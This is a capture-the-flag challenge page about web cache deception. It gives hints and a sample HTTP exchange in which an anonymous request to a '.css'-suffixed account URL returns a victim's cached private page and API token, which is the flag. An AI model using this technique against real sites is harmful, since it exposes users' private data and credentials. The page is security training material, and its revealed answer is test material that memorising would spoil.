ctf.nitaimaarek.com Tracks Leaderboard Log in Sign up

Dressed as a Stylesheet

Medium 35 pts

The cache stores anything ending in .css as a public static asset. The origin routes by prefix and ignores the trailing filename. Put those together and a victim's private account page gets stored publicly under a URL the attacker chose. The capture shows the attacker fetching the cached copy of the victim's page — the flag is the secret it exposes.

Hints

Open them in order. They nudge, they do not solve.

Hint 1

The requested path ends in .css, but the origin served an account page. Why did the cache keep it?

Hint 2

The cache keyed on the extension; the origin keyed on the prefix. The victim's data got cached publicly.

Hint 3

The flag is the API token shown in the victim's cached account page.

The artifact

Attacker fetches the victim's cached page:

GET /account/settings/nonexistent.css HTTP/1.1
Host: app.example
(no session cookie — attacker is anonymous)

HTTP/1.1 200 OK
Content-Type: text/html
X-Cache: HIT
Cache-Control: public, max-age=600

<h1>Account settings</h1>
<p>Signed in as victim@example.com</p>
<code>api_token: nm{cache_rules_everything_around_me}</code>

The attacker sent no cookie, yet received the victim's private page — because the cache had already stored it under a ".css" URL.

Submit the flag

You can solve it now, but to save the solve you need an account. Sign up or log in — it takes ten seconds.